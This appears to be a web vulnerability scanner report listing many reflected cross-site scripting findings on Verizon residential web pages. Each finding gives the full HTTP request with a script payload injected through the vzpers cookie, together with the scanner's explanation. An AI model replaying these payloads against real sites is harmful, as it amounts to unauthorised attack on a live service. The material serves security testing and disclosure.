GET /Residential/FiOSTV/Channels/Channels.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXd5f2f<script>alert(1)</script>a9fa44ab1ff; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 96410'><script>alert(1)</script>7fffa03d3e6 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Channels/Channels.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX96410'><script>alert(1)</script>7fffa03d3e6; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 4f6db'><script>alert(1)</script>eec6d807b1c was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Check_Availability/Check_Availability.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX4f6db'><script>alert(1)</script>eec6d807b1c; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 1e3e0'><script>alert(1)</script>d807238ccca was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Equipment/Equipment.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX1e3e0'><script>alert(1)</script>d807238ccca; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload ba591<script>alert(1)</script>cd8eac21121 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Equipment/Equipment.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXba591<script>alert(1)</script>cd8eac21121; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 43c37<script>alert(1)</script>a83048ec3fa was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Overview.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX43c37<script>alert(1)</script>a83048ec3fa; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 3bb87'><script>alert(1)</script>08cbf1322ca was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Overview.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX3bb87'><script>alert(1)</script>08cbf1322ca; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload aced1<script>alert(1)</script>04caa04edc3 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Overviewab/Overviewab HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXaced1<script>alert(1)</script>04caa04edc3; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 17572'><script>alert(1)</script>c06587bbd1f was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Overviewab/Overviewab HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX17572'><script>alert(1)</script>c06587bbd1f; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 46426'><script>alert(1)</script>15b784f92f9 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Plans/Plans.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX46426'><script>alert(1)</script>15b784f92f9; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 9c71d<script>alert(1)</script>df0f75a01b0 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Plans/Plans.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX9c71d<script>alert(1)</script>df0f75a01b0; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 4a8e4<script>alert(1)</script>8ea8b8a4b07 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/usingFiOS/usingFiOS.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX4a8e4<script>alert(1)</script>8ea8b8a4b07; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 57acd'><script>alert(1)</script>464e57ef61a was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/usingFiOS/usingFiOS.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX57acd'><script>alert(1)</script>464e57ef61a; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 8c03b<script>alert(1)</script>931f515c353 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX8c03b<script>alert(1)</script>931f515c353; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 1593a'><script>alert(1)</script>8026ef8e943 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX1593a'><script>alert(1)</script>8026ef8e943; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7851e'><script>alert(1)</script>7e50b76ec78 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | High Speed Internet | Check Availability </title><meta name="keywords" content="how to get verizon high speed internet, order verizon high ...[SNIP]... <input type='hidden' id='locationInfo' value='TX7851E'><SCRIPT>ALERT(1)</SCRIPT>7E50B76EC78 ' /> ...[SNIP]...
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload ea9f0<script>alert(1)</script>8ee5c39a921 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/Equipment/Equipment.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXea9f0<script>alert(1)</script>8ee5c39a921; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a23aa'><script>alert(1)</script>02a916d30d2 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/Equipment/Equipment.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXa23aa'><script>alert(1)</script>02a916d30d2; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 89205<script>alert(1)</script>0b121ed9d50 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/Features/Features.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX89205<script>alert(1)</script>0b121ed9d50; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2c7b3'><script>alert(1)</script>3c15a62b74 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/Features/Features.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX2c7b3'><script>alert(1)</script>3c15a62b74; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 9dc5a<script>alert(1)</script>ffaee59f41a was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
